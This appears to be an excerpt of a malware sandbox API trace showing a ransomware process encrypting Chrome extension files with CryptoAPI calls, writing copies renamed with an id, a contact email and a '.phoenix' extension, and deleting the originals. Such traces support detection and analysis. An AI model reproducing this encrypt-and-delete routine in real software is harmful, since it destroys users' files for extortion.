	[0261.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.217] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=224) returned 1
	[0261.217] CloseHandle (hObject=0x310) returned 1
	[0261.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js")) returned 0x20
	[0261.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.218] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.218] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0261.218] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.219] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe0, lpOverlapped=0x0) returned 1
	[0261.220] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0261.220] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0261.221] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0261.221] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.221] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0261.221] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.221] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0261.264] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.264] CloseHandle (hObject=0x310) returned 1
	[0261.264] CloseHandle (hObject=0x2c0) returned 1
	[0261.264] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js")) returned 1
	[0261.265] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.266] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.266] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=237) returned 1
	[0261.266] CloseHandle (hObject=0x2c0) returned 1
	[0261.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json")) returned 0x20
	[0261.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.267] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.267] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.267] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.267] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.267] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0261.267] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.267] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xed, lpOverlapped=0x0) returned 1
	[0261.269] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0261.269] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0261.271] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.271] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.271] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.271] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.271] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.271] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.271] CloseHandle (hObject=0x2c0) returned 1
	[0261.271] CloseHandle (hObject=0x310) returned 1
	[0261.271] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json")) returned 1
	[0261.273] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.273] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.273] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=167) returned 1
	[0261.273] CloseHandle (hObject=0x310) returned 1
	[0261.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json")) returned 0x20
	[0261.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.274] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.274] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.274] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.274] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.275] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0261.275] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.275] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa7, lpOverlapped=0x0) returned 1
	[0261.276] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0261.276] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0261.277] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0261.277] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.277] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.277] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.277] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.277] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.277] CloseHandle (hObject=0x310) returned 1
	[0261.277] CloseHandle (hObject=0x2c0) returned 1
	[0261.277] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json")) returned 1
	[0261.279] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.279] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.279] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=276) returned 1
	[0261.279] CloseHandle (hObject=0x2c0) returned 1
	[0261.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json")) returned 0x20
	[0261.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.280] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.280] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.280] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.280] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0261.281] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.281] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x114, lpOverlapped=0x0) returned 1
	[0261.282] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0261.282] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0261.283] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0261.283] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.283] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.283] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.283] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.379] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.379] CloseHandle (hObject=0x2c0) returned 1
	[0261.379] CloseHandle (hObject=0x310) returned 1
	[0261.379] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bg\\messages.json")) returned 1
	[0261.380] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.380] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.380] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=178) returned 1
	[0261.380] CloseHandle (hObject=0x310) returned 1
	[0261.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json")) returned 0x20
	[0261.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.380] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.380] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.381] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
